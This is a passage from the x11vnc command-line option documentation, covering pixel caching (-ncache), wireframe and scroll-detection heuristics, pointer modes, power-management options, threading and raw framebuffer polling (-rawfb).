- for rapid retrieval. So a W x H frambuffer is expanded
- to a W x (n+1)*H one. Use 0 to disable.
-
- The "n" is actually optional, the default is 10.
-
- For this and the other -ncache* options below you can
- abbreviate "-ncache" with "-nc". Also, "-nonc"
- is the same as "-ncache 0"
-
- This is an experimental option, currently implemented in
- an awkward way in that in the VNC Viewer you can see the
- pixel cache contents if you scroll down, etc. So you
- will have to set things up so you can't see that region.
- If this method is successful, the changes required for
- clients to do this less awkwardly will be investigated.
-
- The SSVNC viewer does a good job at automatically hiding
- the pixel cache region. Or use SSVNC's -ycrop option
- to explicitly hide the region.
-
- Note that this mode consumes a huge amount of memory,
- both on the x11vnc server side and on the VNC Viewer
- side. If n=2 then the amount of RAM used is roughly
- tripled for both x11vnc and the VNC Viewer. As a rule
- of thumb, note that 1280x1024 at depth 24 is about 5MB
- of pixel data.
-
- For reasonable response when cycling through 4 to 6
- large (e.g. web browser) windows a value n of 6 to 12
- is recommended. (that's right: ~10X more memory...)
-
- Because of the way window backingstore and saveunders
- are implemented, n must be even. It will be incremented
- by 1 if it is not.
-
- This mode also works for native MacOS X, but may not
- be as effective as the X version. This is due to a
- number of things, one is the drop-shadow compositing
- that leaves extra areas that need to be repaired (see
- -ncache_pad). Another is the window iconification
- animations need to be avoided (see -macicontime).
- It appears the that the 'Scale' animation mode gives
- better results than the 'Genie' one. Also, window event
- detection not as accurate as the X version.
-
--ncache_cr In -ncache mode, try to do copyrect opaque window
- moves/drags instead of wireframes (this can induce
- painting errors). The wireframe will still be used when
- moving a window whose save-unders has not yet been set
- or has been invalidated.
-
- Some VNC Viewers provide better response than others
- with this option. On Unix, realvnc viewer gives
- smoother drags than tightvnc viewer. Response may also
- be choppy if the server side machine is too slow.
-
- Sometimes on very slow modem connections, this actually
- gives an improvement because no pixel data at all
- (not even the box animation) is sent during the drag.
-
--ncache_no_moveraise In -ncache mode, do not assume that moving a window
- will cause the window manager to raise it to the top
- of the stack. The default is to assume it does, and
- so at the beginning of any wireframe, etc, window moves
- the window will be pushed to top in the VNC viewer.
-
--ncache_no_dtchange In -ncache mode, do not try to guess when the desktop
- (viewport) changes to another one (i.e. another
- workarea). The default is to try to guess and when
- detected try to make the transistion more smoothly.
-
--ncache_no_rootpixmap In -ncache mode, do not try to snapshot the desktop
- background to use in guessing or reconstructing window
- save-unders.
-
--ncache_keep_anims In -ncache mode, do not try to disable window
- manager animations and other effects (that usually
- degrade ncache performance or cause painting errors).
- The default is to try to disable them on KDE (but not
- GNOME) when VNC clients are connected.
-
- For other window managers or desktops that provide
- animations, effects, compositing, translucency,
- etc. that interfere with the -ncache method you will
- have to disable them manually.
-
--ncache_old_wm In -ncache mode, enable some heuristics for old style
- window managers such as fvwm and twm.
-
--ncache_pad n In -ncache mode, pad each window with n pixels for the
- caching rectangles. This can be used to try to improve
- the situation with dropshadows or other compositing
- (e.g. MacOS X window manager), although it could make
- things worse. The default is 0 on Unix and 24 on
- MacOS X.
--debug_ncache Turn on debugging and profiling output under -ncache.
-
--wireframe [str] Try to detect window moves or resizes when a mouse
--nowireframe button is held down and show a wireframe instead of
- the full opaque window. This is based completely on
- heuristics and may not always work: it depends on your
- window manager and even how you move things around.
- See -pointer_mode below for discussion of the "bogging
- down" problem this tries to avoid.
- Default: -wireframe
-
- Shorter aliases: -wf [str] and -nowf
-
- The value "str" is optional and, of course, is
- packed with many tunable parameters for this scheme:
-
- Format: shade,linewidth,percent,T+B+L+R,mod,t1+t2+t3+t4
- Default: 0xff,2,0,32+8+8+8,all,0.15+0.30+5.0+0.125
-
- If you leave nothing between commas: ",," the default
- value is used. If you don't specify enough commas,
- the trailing parameters are set to their defaults.
-
- "shade" indicate the "color" for the wireframe,
- usually a greyscale: 0-255, however for 16 and 32bpp you
- can specify an rgb.txt X color (e.g. "dodgerblue") or
- a value > 255 is treated as RGB (e.g. red is 0xff0000).
- "linewidth" sets the width of the wireframe in pixels.
- "percent" indicates to not apply the wireframe scheme
- to windows with area less than this percent of the
- full screen.
-
- "T+B+L+R" indicates four integers for how close in
- pixels the pointer has to be from the Top, Bottom, Left,
- or Right edges of the window to consider wireframing.
- This is a speedup to quickly exclude a window from being
- wireframed: set them all to zero to not try the speedup
- (scrolling and selecting text will likely be slower).
-
- "mod" specifies if a button down event in the
- interior of the window with a modifier key (Alt, Shift,
- etc.) down should indicate a wireframe opportunity.
- It can be "0" or "none" to skip it, "1" or "all"
- to apply it to any modifier, or "Shift", "Alt",
- "Control", "Meta", "Super", or "Hyper" to only
- apply for that type of modifier key.
-
- "t1+t2+t3+t4" specify four floating point times in
- seconds: t1 is how long to wait for the pointer to move,
- t2 is how long to wait for the window to start moving
- or being resized (for some window managers this can be
- rather long), t3 is how long to keep a wireframe moving
- before repainting the window. t4 is the minimum time
- between sending wireframe "animations". If a slow
- link is detected, these values may be automatically
- changed to something better for a slow link.
-
--nowireframelocal By default, mouse motion and button presses of a
- user sitting at the LOCAL display are monitored for
- wireframing opportunities (so that the changes will be
- sent efficiently to the VNC clients). Use this option
- to disable this behavior.
-
--wirecopyrect mode Since the -wireframe mechanism evidently tracks moving
--nowirecopyrect windows accurately, a speedup can be obtained by
- telling the VNC viewers to locally copy the translated
- window region. This is the VNC CopyRect encoding:
- the framebuffer update doesn't need to send the actual
- new image data.
-
- Shorter aliases: -wcr [mode] and -nowcr
-
- "mode" can be "never" (same as -nowirecopyrect)
- to never try the copyrect, "top" means only do it if
- the window was not covered by any other windows, and
- "always" means to translate the orginally unobscured
- region (this may look odd as the remaining pieces come
- in, but helps on a slow link). Default: "always"
-
- Note: there can be painting errors or slow response
- when using -scale so you may want to disable CopyRect
- in this case "-wirecopyrect never" on the command
- line or by remote-control. Or you can also use the
- "-scale xxx:nocr" scale option.
-
--debug_wireframe Turn on debugging info printout for the wireframe
- heuristics. "-dwf" is an alias. Specify multiple
- times for more output.
-
--scrollcopyrect mode Like -wirecopyrect, but use heuristics to try to guess
--noscrollcopyrect if a window has scrolled its contents (either vertically
- or horizontally). This requires the RECORD X extension
- to "snoop" on X applications (currently for certain
- XCopyArea and XConfigureWindow X protocol requests).
- Examples: Hitting <Return> in a terminal window when the
- cursor was at the bottom, the text scrolls up one line.
- Hitting <Down> arrow in a web browser window, the web
- page scrolls up a small amount. Or scrolling with a
- scrollbar or mouse wheel.
-
- Shorter aliases: -scr [mode] and -noscr
-
- This scheme will not always detect scrolls, but when
- it does there is a nice speedup from using the VNC
- CopyRect encoding (see -wirecopyrect). The speedup
- is both in reduced network traffic and reduced X
- framebuffer polling/copying. On the other hand, it may
- induce undesired transients (e.g. a terminal cursor
- being scrolled up when it should not be) or other
- painting errors (window tearing, bunching-up, etc).
- These are automatically repaired in a short period
- of time. If this is unacceptable disable the feature
- with -noscrollcopyrect.
-
- Screen clearing kludges: for testing at least, there
- are some "magic key sequences" (must be done in less
- than 1 second) to aid repairing painting errors that
- may be seen when using this mode:
-
- 3 Alt_L's in a row: resend whole screen,
- 4 Alt_L's in a row: reread and resend whole screen,
- 3 Super_L's in a row: mark whole screen for polling,
- 4 Super_L's in a row: reset RECORD context,
- 5 Super_L's in a row: try to push a black screen
-
- note: Alt_L is the Left "Alt" key (a single key)
- Super_L is the Left "Super" key (Windows flag).
- Both of these are modifier keys, and so should not
- generate characters when pressed by themselves. Also,
- your VNC viewer may have its own refresh hot-key
- or button.
-
- "mode" can be "never" (same as -noscrollcopyrect)
- to never try the copyrect, "keys" means to try it
- in response to keystrokes only, "mouse" means to
- try it in response to mouse events only, "always"
- means to do both. Default: "always"
-
- Note: there can be painting errors or slow response
- when using -scale so you may want to disable CopyRect
- in this case "-scrollcopyrect never" on the command
- line or by remote-control. Or you can also use the
- "-scale xxx:nocr" scale option.
-
--scr_area n Set the minimum area in pixels for a rectangle
- to be considered for the -scrollcopyrect detection
- scheme. This is to avoid wasting the effort on small
- rectangles that would be quickly updated the normal way.
- E.g. suppose an app updated the position of its skinny
- scrollbar first and then shifted the large panel
- it controlled. We want to be sure to skip the small
- scrollbar and get the large panel. Default: 60000
-
--scr_skip list Skip scroll detection for applications matching
- the comma separated list of strings in "list".
- Some applications implement their scrolling in
- strange ways where the XCopyArea, etc, also applies
- to invisible portions of the window: if we CopyRect
- those areas it looks awful during the scroll and
- there may be painting errors left after the scroll.
- Soffice.bin is the worst known offender.
-
- Use "##" to denote the start of the application class
- (e.g. "##XTerm") and "++" to denote the start
- of the application instance name (e.g. "++xterm").
- The string your list is matched against is of the form
- "^^WM_NAME##Class++Instance<same-for-any-subwindows>"
- The "xlsclients -la" command will provide this info.
-
- If a pattern is prefixed with "KEY:" it only applies
- to Keystroke generated scrolls (e.g. Up arrow). If it
- is prefixed with "MOUSE:" it only applies to Mouse
- induced scrolls (e.g. dragging on a scrollbar).
- Default: ##Soffice.bin,##StarOffice,##OpenOffice
-
--scr_inc list Opposite of -scr_skip: this list is consulted first
- and if there is a match the window will be monitored
- via RECORD for scrolls irrespective of -scr_skip.
- Use -scr_skip '*' to skip anything that does not match
- your -scr_inc. Use -scr_inc '*' to include everything.
-
--scr_keys list For keystroke scroll detection, only apply the RECORD
- heuristics to the comma separated list of keysyms in
- "list". You may find the RECORD overhead for every
- one of your keystrokes disrupts typing too much, but you
- don't want to turn it off completely with "-scr mouse"
- and -scr_parms does not work or is too confusing.
-
- The listed keysyms can be numeric or the keysym
- names in the <X11/keysymdef.h> header file or from the
- xev(1) program. Example: "-scr_keys Up,Down,Return".
- One probably wants to have application specific lists
- (e.g. for terminals, etc) but that is too icky to think
- about for now...
-
- If "list" begins with the "-" character the list
- is taken as an exclude list: all keysyms except those
- list will be considered. The special string "builtin"
- expands to an internal list of keysyms that are likely
- to cause scrolls. BTW, by default modifier keys,
- Shift_L, Control_R, etc, are skipped since they almost
- never induce scrolling by themselves.
-
--scr_term list Yet another cosmetic kludge. Apply shell/terminal
- heuristics to applications matching comma separated
- list (same as for -scr_skip/-scr_inc). For example an
- annoying transient under scroll detection is if you
- hit Enter in a terminal shell with full text window,
- the solid text cursor block will be scrolled up.
- So for a short time there are two (or more) block
- cursors on the screen. There are similar scenarios,
- (e.g. an output line is duplicated).
-
- These transients are induced by the approximation of
- scroll detection (e.g. it detects the scroll, but not
- the fact that the block cursor was cleared just before
- the scroll). In nearly all cases these transient errors
- are repaired when the true X framebuffer is consulted
- by the normal polling. But they are distracting, so
- what this option provides is extra "padding" near the
- bottom of the terminal window: a few extra lines near
- the bottom will not be scrolled, but rather updated
- from the actual X framebuffer. This usually reduces
- the annoying artifacts. Use "none" to disable.
- Default: "term"
-
--scr_keyrepeat lo-hi If a key is held down (or otherwise repeats rapidly) and
- this induces a rapid sequence of scrolls (e.g. holding
- down an Arrow key) the "scrollcopyrect" detection
- and overhead may not be able to keep up. A time per
- single scroll estimate is performed and if that estimate
- predicts a sustainable scrollrate of keys per second
- between "lo" and "hi" then repeated keys will be
- DISCARDED to maintain the scrollrate. For example your
- key autorepeat may be 25 keys/sec, but for a large
- window or slow link only 8 scrolls per second can be
- sustained, then roughly 2 out of every 3 repeated keys
- will be discarded during this period. Default: "4-20"
-
--scr_parms string Set various parameters for the scrollcopyrect mode.
- The format is similar to that for -wireframe and packed
- with lots of parameters:
-
- Format: T+B+L+R,t1+t2+t3,s1+s2+s3+s4+s5
- Default: 0+64+32+32,0.02+0.10+0.9,0.03+0.06+0.5+0.1+5.0
-
- If you leave nothing between commas: ",," the default
- value is used. If you don't specify enough commas,
- the trailing parameters are set to their defaults.
-
- "T+B+L+R" indicates four integers for how close in
- pixels the pointer has to be from the Top, Bottom, Left,
- or Right edges of the window to consider scrollcopyrect.
- If -wireframe overlaps it takes precedence. This is a
- speedup to quickly exclude a window from being watched
- for scrollcopyrect: set them all to zero to not try
- the speedup (things like selecting text will likely
- be slower).
-
- "t1+t2+t3" specify three floating point times in
- seconds that apply to scrollcopyrect detection with
- *Keystroke* input: t1 is how long to wait after a key
- is pressed for the first scroll, t2 is how long to keep
- looking after a Keystroke scroll for more scrolls.
- t3 is how frequently to try to update surrounding
- scrollbars outside of the scrolling area (0.0 to
- disable)
-
- "s1+s2+s3+s4+s5" specify five floating point times
- in seconds that apply to scrollcopyrect detection with
- *Mouse* input: s1 is how long to wait after a mouse
- button is pressed for the first scroll, s2 is how long
- to keep waiting for additional scrolls after the first
- Mouse scroll was detected. s3 is how frequently to
- try to update surrounding scrollbars outside of the
- scrolling area (0.0 to disable). s4 is how long to
- buffer pointer motion (to try to get fewer, bigger
- mouse scrolls). s5 is the maximum time to spend just
- updating the scroll window without updating the rest
- of the screen.
-
--fixscreen string Periodically "repair" the screen based on settings
- in "string". Hopefully you won't need this option,
- it is intended for cases when the -scrollcopyrect or
- -wirecopyrect features leave too many painting errors,
- but it can be used for any scenario. This option
- periodically performs costly operations and so
- interactive response may be reduced when it is on.
- You can use 3 Alt_L's (the Left "Alt" key) taps in
- a row (as described under -scrollcopyrect) instead to
- manually request a screen repaint when it is needed.
-
- "string" is a comma separated list of one or more of
- the following: "V=t", "C=t", "X=t", and "8=t".
- In these "t" stands for a time in seconds (it is
- a floating point even though one should usually use
- values > 2 to avoid wasting resources). V sets how
- frequently the entire screen should be sent to viewers
- (it is like the 3 Alt_L's). C sets how long to wait
- after a CopyRect to repaint the full screen. X sets
- how frequently to reread the full X11 framebuffer from
- the X server and push it out to connected viewers.
- Use of X should be rare, please report a bug if you
- find you need it. 8= applies only for -8to24 mode: it
- sets how often the non-default visual regions of the
- screen (e.g. 8bpp windows) are refreshed. Examples:
- -fixscreen V=10 -fixscreen C=10
-
--debug_scroll Turn on debugging info printout for the scroll
- heuristics. "-ds" is an alias. Specify it multiple
- times for more output.
-
--noxrecord Disable any use of the RECORD extension. This is
- currently used by the -scrollcopyrect scheme and to
- monitor X server grabs.
-
--grab_buster Some of the use of the RECORD extension can leave a
--nograb_buster tiny window for XGrabServer deadlock. This is only if
- the whole-server grabbing application expects mouse or
- keyboard input before releasing the grab. It is usually
- a window manager that does this. x11vnc takes care to
- avoid the problem, but if caught x11vnc will freeze.
- Without -grab_buster, the only solution is to go the
- physical display and give it some input to satisfy the
- grabbing app. Or manually kill and restart the window
- manager if that is feasible. With -grab_buster, x11vnc
- will fork a helper thread and if x11vnc appears to be
- stuck in a grab after a period of time (20-30 sec) then
- it will inject some user input: button clicks, Escape,
- mouse motion, etc to try to break the grab. If you
- experience a lot of grab deadlock, please report a bug.
-
--debug_grabs Turn on debugging info printout with respect to
- XGrabServer() deadlock for -scrollcopyrect mode.
-
--debug_sel Turn on debugging info printout with respect to
- PRIMARY, CLIPBOARD, and CUTBUFFER0 selections.
-
--pointer_mode n Various pointer motion update schemes. "-pm" is
- an alias. The problem is pointer motion can cause
- rapid changes on the screen: consider the rapid
- changes when you drag a large window around opaquely.
- Neither x11vnc's screen polling and vnc compression
- routines nor the bandwidth to the vncviewers can keep
- up these rapid screen changes: everything will bog down
- when dragging or scrolling. So a scheme has to be used
- to "eat" much of that pointer input before re-polling
- the screen and sending out framebuffer updates. The
- mode number "n" can be 0 to 4 and selects one of
- the schemes desribed below.
-
- Note that the -wireframe and -scrollcopyrect modes
- complement -pointer_mode by detecting (and improving)
- certain periods of "rapid screen change".
-
- n=0: does the same as -nodragging. (all screen polling
- is suspended if a mouse button is pressed.)
-
- n=1: was the original scheme used to about Jan 2004:
- it basically just skips -input_skip keyboard or pointer
- events before repolling the screen.
-
- n=2 is an improved scheme: by watching the current rate
- of input events it tries to detect if it should try to
- "eat" additional pointer events before continuing.
-
- n=3 is basically a dynamic -nodragging mode: it detects
- when the mouse motion has paused and then refreshes
- the display.
-
- n=4 attempts to measures network rates and latency,
- the video card read rate, and how many tiles have been
- changed on the screen. From this, it aggressively tries
- to push screen "frames" when it decides it has enough
- resources to do so. NOT FINISHED.
-
- The default n is 2. Note that modes 2, 3, 4 will skip
- -input_skip keyboard events (but it will not count
- pointer events). Also note that these modes are not
- available in -threads mode which has its own pointer
- event handling mechanism.
-
- To try out the different pointer modes to see which
- one gives the best response for your usage, it is
- convenient to use the remote control function, for
- example "x11vnc -R pm:4" or the tcl/tk gui (Tuning ->
- pointer_mode -> n).
-
--input_skip n For the pointer handling when non-threaded: try to
- read n user input events before scanning display. n < 0
- means to act as though there is always user input.
- Default: 10
-
--allinput Have x11vnc read and process all available client input
- before proceeding.
-
--input_eagerly Similar to -allinput but use the handleEventsEagerly
- mechanism built into LibVNCServer.
-
--speeds rd,bw,lat x11vnc tries to estimate some speed parameters that
- are used to optimize scheduling (e.g. -pointer_mode
- 4, -wireframe, -scrollcopyrect) and other things.
- Use the -speeds option to set these manually.
- The triple "rd,bw,lat" corresponds to video h/w
- read rate in MB/sec, network bandwidth to clients in
- KB/sec, and network latency to clients in milliseconds,
- respectively. If a value is left blank, e.g. "-speeds
- ,100,15", then the internal scheme is used to estimate
- the empty value(s).
-
- Typical PC video cards have read rates of 5-10 MB/sec.
- If the framebuffer is in main memory instead of video
- h/w (e.g. SunRay, shadowfb, dummy driver, Xvfb), the
- read rate may be much faster. "x11perf -getimage500"
- can be used to get a lower bound (remember to factor
- in the bytes per pixel). It is up to you to estimate
- the network bandwith and latency to clients. For the
- latency the ping(1) command can be used.
-
- For convenience there are some aliases provided,
- e.g. "-speeds modem". The aliases are: "modem" for
- 6,4,200; "dsl" for 6,100,50; and "lan" for 6,5000,1
-
--wmdt string For some features, e.g. -wireframe and -scrollcopyrect,
- x11vnc has to work around issues for certain window
- managers or desktops (currently kde and xfce).
- By default it tries to guess which one, but it can
- guess incorrectly. Use this option to indicate which
- wm/dt. "string" can be "gnome", "kde", "cde",
- "xfce", or "root" (classic X wm). Anything else
- is interpreted as "root".
-
--debug_pointer Print debugging output for every pointer event.
--debug_keyboard Print debugging output for every keyboard event.
- Same as -dp and -dk, respectively. Use multiple
- times for more output.
-
--defer time Time in ms to delay sending updates to connected clients
- (deferUpdateTime) Default: 20
-
--wait time Time in ms to pause between screen polls. Used to cut
- down on load. Default: 20
-
--extra_fbur n Perform extra FrameBufferUpdateRequests checks to
- try to be in better sync with the client's requests.
- What this does is perform extra polls of the client
- socket at critical times (before '-defer' and '-wait'
- calls.) The default is n=1. Set to a larger number to
- insert more checks or set to n=0 to disable. A downside
- of these extra calls is that more mouse input may be
- processed than desired.
-
--wait_ui factor Factor by which to cut the -wait time if there
- has been recent user input (pointer or keyboard).
- Improves response, but increases the load whenever you
- are moving the mouse or typing. Default: 2.00
--setdefer n When the -wait_ui mechanism cuts down the wait time ms,
- set the defer time to the same ms value. n=1 to enable,
- 0 to disable, and -1 to set defer to 0 (no delay).
- Similarly, 2 and -2 indicate 'urgent_update' mode should
- be used to push the updates even sooner. Default: 1
--nowait_bog Do not detect if the screen polling is "bogging down"
- and sleep more. Some activities with no user input can
- slow things down a lot: consider a large terminal window
- with a long build running in it continuously streaming
- text output. By default x11vnc will try to detect this
- (3 screen polls in a row each longer than 0.25 sec with
- no user input), and sleep up to 1.5 secs to let things
- "catch up". Use this option to disable that detection.
--slow_fb time Floating point time in seconds to delay all screen
- polling. For special purpose usage where a low frame
- rate is acceptable and desirable, but you want the
- user input processed at the normal rate so you cannot
- use -wait.
--xrefresh time Floating point time in seconds to indicate how often to
- do the equivalent of xrefresh(1) to force all windows
- (in the viewable area if -id, -sid, or -clip is used)
- to repaint themselves. Use this only if applications
- misbehave by not repainting themselves properly.
- See also -noxdamage.
--nap Monitor activity and if it is low take longer naps
--nonap between screen polls to really cut down load when idle.
- Default: take naps
--sb time Time in seconds after NO activity (e.g. screen blank)
- to really throttle down the screen polls (i.e. sleep
- for about 1.5 secs). Use 0 to disable. Default: 60
- Set the env. var. X11VNC_SB_FACTOR to scale it.
-
--readtimeout n Set LibVNCServer rfbMaxClientWait to n seconds. On
- slow links that take a long time to paint the first
- screen LibVNCServer may hit the timeout and drop the
- connection. Default: 20 seconds.
--ping n Send a 1x1 framebuffer update to all clients every n
- seconds (e.g. to try to keep a network connection alive)
-
--nofbpm If the system supports the FBPM (Frame Buffer Power
--fbpm Management) extension (i.e. some Sun systems), then
- prevent the video h/w from going into a reduced power
- state when VNC clients are connected.
-
- FBPM capable video h/w save energy when the workstation
- is idle by going into low power states (similar to DPMS
- for monitors). This interferes with x11vnc's polling
- of the framebuffer data.
-
- "-nofbpm" means prevent FBPM low power states whenever
- VNC clients are connected, while "-fbpm" means to not
- monitor the FBPM state at all. See the xset(1) manpage
- for details. -nofbpm is basically the same as running
- "xset fbpm force on" periodically. Default: -fbpm
-
--nodpms If the system supports the DPMS (Display Power Managemen
-t
--dpms Signaling) extension, then prevent the monitor from
- going into a reduced power state when VNC clients
- are connected.
-
- DPMS reduced power monitor states are a good thing
- and you normally want the power down to take place
- (usually x11vnc has no problem exporting the display in
- this state). You probably only want to use "-nodpms"
- to work around problems with Screen Savers kicking
- on in DPMS low power states. There is known problem
- with kdesktop_lock on KDE where the screen saver keeps
- kicking in every time user input stops for a second
- or two. Specifying "-nodpms" works around it.
-
- "-nodpms" means prevent DPMS low power states whenever
- VNC clients are connected, while "-dpms" means to not
- monitor the DPMS state at all. See the xset(1) manpage
- for details. -nodpms is basically the same as running
- "xset dpms force on" periodically. Default: -dpms
-
--forcedpms If the system supports the DPMS (Display Power
- Management Signaling) extension, then try to keep the
- monitor in a powered off state. This is to prevent
- nosey people at the physical display from viewing what
- is on the screen. Be sure to lock the screen before
- disconnecting.
-
- This method is far from bullet proof, e.g. suppose
- someone attaches a non-DPMS monitor, or loads the
- machine so that there is a gap of time before x11vnc
- restores the powered off state? On many machines if
- he floods it with keyboard and mouse input he can see
- flashes of what is on the screen before the DPMS off
- state is reestablished. For this to work securely
- there would need to be support in the X server to do
- this exactly rather than approximately with DPMS.
-
--clientdpms As -forcedpms but only when VNC clients are connected.
-
--noserverdpms The UltraVNC ServerInput extension is supported.
- This allows the VNC viewer to click a button that will
- cause the server (x11vnc) to try to disable keyboard
- and mouse input at the physical display and put the
- monitor in dpms powered off state. Use this option to
- skip powering off the monitor.
-
--noultraext Disable the following UltraVNC extensions: SingleWindow
- and ServerInput. The others managed by LibVNCServer
- (textchat, 1/n scaling, rfbEncodingUltra) are not.
-
--chatwindow Place a local UltraVNC chat window on the X11 display
- that x11vnc is polling. That way the person on the VNC
- viewer-side can chat with the person at the physical
- X11 console. (e.g. helpdesk w/o telephone)
-
- For this to work the SSVNC package (version 1.0.21 or
- later) MUST BE installed on the system where x11vnc runs
- and the 'ssvnc' command must be available in $PATH.
- The ssvncviewer is used as a chat window helper.
- See http://www.karlrunge.com/x11vnc/ssvnc.html
-
- This option implies '-rfbversion 3.6' so as to trick
- UltraVNC viewers, otherwise they assume chat is not
- available. To specify a different rfbversion, place
- it after the -chatwindow option on the cmdline.
-
- See also the remote control 'chaton' and 'chatoff'
- actions. These can also be set from the tkx11vnc GUI.
-
--noxdamage Do not use the X DAMAGE extension to detect framebuffer
- changes even if it is available. Use -xdamage if your
- default is to have it off.
-
- x11vnc's use of the DAMAGE extension: 1) significantly
- reduces the load when the screen is not changing much,
- and 2) detects changed areas (small ones by default)
- more quickly.
-
- Currently the DAMAGE extension is overly conservative
- and often reports large areas (e.g. a whole terminal
- or browser window) as damaged even though the actual
- changed region is much smaller (sometimes just a few
- pixels). So heuristics were introduced to skip large
- areas and use the damage rectangles only as "hints"
- for the traditional scanline polling. The following
- tuning parameters are introduced to adjust this
- behavior:
-
--xd_area A Set the largest DAMAGE rectangle area "A" (in
- pixels: width * height) to trust as truly damaged:
- the rectangle will be copied from the framebuffer
- (slow) no matter what. Set to zero to trust *all*
- rectangles. Default: 20000
--xd_mem f Set how long DAMAGE rectangles should be "remembered",
- "f" is a floating point number and is in units of the
- scanline repeat cycle time (32 iterations). The default
- (1.0) should give no painting problems. Increase it if
- there are problems or decrease it to live on the edge
- (perhaps useful on a slow machine).
-
--sigpipe string Broken pipe (SIGPIPE) handling. "string" can be
- "ignore" or "exit". For "ignore" LibVNCServer
- will handle the abrupt loss of a client and continue,
- for "exit" x11vnc will cleanup and exit at the 1st
- broken connection.
-
- This option is not really needed since LibVNCServer
- is doing the correct thing now for quite some time.
- However, for convenience you can use it to ignore other
- signals, e.g. "-sigpipe ignore:HUP,INT,TERM" in case
- that would be useful for some sort of application.
- You can also put "exit:.." in the list to have x11vnc
- cleanup on the listed signals. "-sig" is an alias
- for this option if you don't like the 'pipe'. Example:
- -sig ignore:INT,TERM,exit:USR1
-
--threads Whether or not to use the threaded LibVNCServer
--nothreads algorithm [rfbRunEventLoop] if libpthread is available.
- In this mode new threads (one for input and one
- for output) are created to handle each new client.
- Default: -nothreads.
-
- Thread stability is much improved in version 0.9.8.
-
- Multiple clients in threaded mode should be stable
- for the ZRLE encoding on all platforms. The Tight and
- Zlib encodings are currently only stable on Linux for
- multiple clients. Compile with -DTLS=__thread if your
- OS and compiler and linker support it.
-
- For resizes (randr, etc.) set this env. var. to the numb
-er
- of milliseconds to sleep: X11VNC_THREADS_NEW_FB_SLEEP
- at various places in the do_new_fb() action. This is to
- let various activities settle. Default is about 500ms.
-
- Multiple clients in threaded mode could yield better
- performance for 'class-room' broadcasting usage; also in
- -appshare broadcast mode. See also the -reflect option.
-
--fs f If the fraction of changed tiles in a poll is greater
- than f, the whole screen is updated. Default: 0.75
--gaps n Heuristic to fill in gaps in rows or cols of n or
- less tiles. Used to improve text paging. Default: 4
--grow n Heuristic to grow islands of changed tiles n or wider
- by checking the tile near the boundary. Default: 3
--fuzz n Tolerance in pixels to mark a tiles edges as changed.
- Default: 2
--debug_tiles Print debugging output for tiles, fb updates, etc.
-
--snapfb Instead of polling the X display framebuffer (fb)
- for changes, periodically copy all of X display fb
- into main memory and examine that copy for changes.
- (This setting also applies for non-X -rawfb modes).
- Under some circumstances this will improve interactive
- response, or at least make things look smoother, but in
- others (most!) it will make the response worse. If the
- video h/w fb is such that reading small tiles is very
- slow this mode could help. To keep the "framerate"
- up the screen size x bpp cannot be too large. Note that
- this mode is very wasteful of memory I/O resources
- (it makes full screen copies even if nothing changes).
- It may be of use in video capture-like applications,
- webcams, or where window tearing is a problem.
-
--rawfb string Instead of polling X, poll the memory object specified
- in "string".
-
- For file polling, to memory map mmap(2) a file use:
- "map:/path/to/a/file@WxHxB", with framebuffer Width,
- Height, and Bits per pixel. "mmap:..." is the
- same.
-
- If there is trouble with mmap, use "file:/..."
- for slower lseek(2) based reading.
-
- Use "snap:..." to imply -snapfb mode and the "file:"
- access (this is for unseekable devices that only provide
- the fb all at once, e.g. a video camera provides the
- whole frame).
-
- For shared memory segments string is of the form:
- "shm:N@WxHxB" which specifies a shmid N and with
- WxHxB as above. See shmat(1) and ipcs(1)
-
- If you do not supply a type "map" is assumed if
- the file exists (see the next paragraphs for some
- exceptions to this.)
-
- If string is "setup:cmd", then the command "cmd"
- is run and the first line from it is read and used
- as "string". This allows initializing the device,
- determining WxHxB, etc. These are often done as root
- so take care.
-
- If the string begins with "video", see the VIDEO4LINUX
- discussion below where the device may be queried for
- (and possibly set) the framebuffer parameters.
-
- If the string begins with "console", "/dev/fb",
- "fb", or "vt", see the LINUX CONSOLE discussion
- below where the framebuffer device is opened and
- keystrokes (and possibly mouse events) are inserted
- into the console.
-
- If the string begins with "vnc", see the VNC HOST
- discussion below where the framebuffer is taken as that
- of another remote VNC server.
-
- Optional suffixes are ":R/G/B" and "+O" to specify
- red, green, and blue masks (in hex) and an offset into
- the memory object. If the masks are not provided x11vnc
- guesses them based on the bpp (if the colors look wrong,
- you need to provide the masks.)
-
- Another optional suffix is the Bytes Per Line which in
- some cases is not WxB/8. Specify it as WxHxB-BPL
- e.g. 800x600x16-2048. This could be a normal width
- 1024 at 16bpp fb, but only width 800 shows up.
-
- So the full format is: mode:file@WxHxB:R/G/B+O-BPL
-
- Examples:
- -rawfb shm:210337933@800x600x32:ff/ff00/ff0000
- -rawfb map:/dev/fb0@1024x768x32
- -rawfb map:/tmp/Xvfb_screen0@640x480x8+3232
- -rawfb file:/tmp/my.pnm@250x200x24+37
- -rawfb file:/dev/urandom@128x128x8
- -rawfb snap:/dev/video0@320x240x24 -24to32
- -rawfb video0
- -rawfb video -pipeinput VID
- -rawfb console
- -rawfb vt2
- -rawfb vnc:somehost:0
-
- (see ipcs(1) and fbset(1) for the first two examples)
-
- In general all user input is discarded by default (see
- the -pipeinput option for how to use a helper program
- to insert). Most of the X11 (screen, keyboard, mouse)
- options do not make sense and many will cause this
- mode to crash, so please think twice before setting or
- changing them in a running x11vnc.
-
- If you DO NOT want x11vnc to close the X DISPLAY in
- rawfb mode, prepend a "+" e.g. +file:/dev/fb0...
- Keeping the display open enables the default
- remote-control channel, which could be useful.
- Alternatively, if you specify -noviewonly, then the
- mouse and keyboard input are STILL sent to the X
- display, this usage should be very rare, i.e. doing
- something strange with /dev/fb0.
-
- If the device is not "seekable" (e.g. webcam) try
- reading it all at once in full snaps via the "snap:"
- mode (note: this is a resource hog). If you are using
- file: or map: AND the device needs to be reopened for
- *every* snapfb snapshot, set the environment variable:
- SNAPFB_RAWFB_RESET=1 as well.
-
- If you want x11vnc to dynamically transform a 24bpp
- rawfb to 32bpp (note that this will be slower) also
- supply the -24to32 option. This would be useful for,
- say, a video camera that delivers the pixel data as
- 24bpp packed RGB. This is the default under "video"
- mode if the bpp is 24.
-
- Normally the bits per pixel, B, is 8, 16, or 32 (or
- rarely 24), however there is also some support for
- B < 8 (e.g. old graphics displays 4 bpp or 1 bpp).
- In this case you certainly must supply the masks as
- well: WxHxB:R/G/B. The pixels will be padded out to
- 8 bpp using depth 8 truecolor. The scheme currently
- does not work with snap fb (ask if interested.) B=1
- monochrome example: file:/dev/urandom@128x128x1:1/1/1
- Some other like this are 128x128x2:3/3/3 128x128x4:7/7/7
-
- For B < 8 framebuffers you can also set the env. var
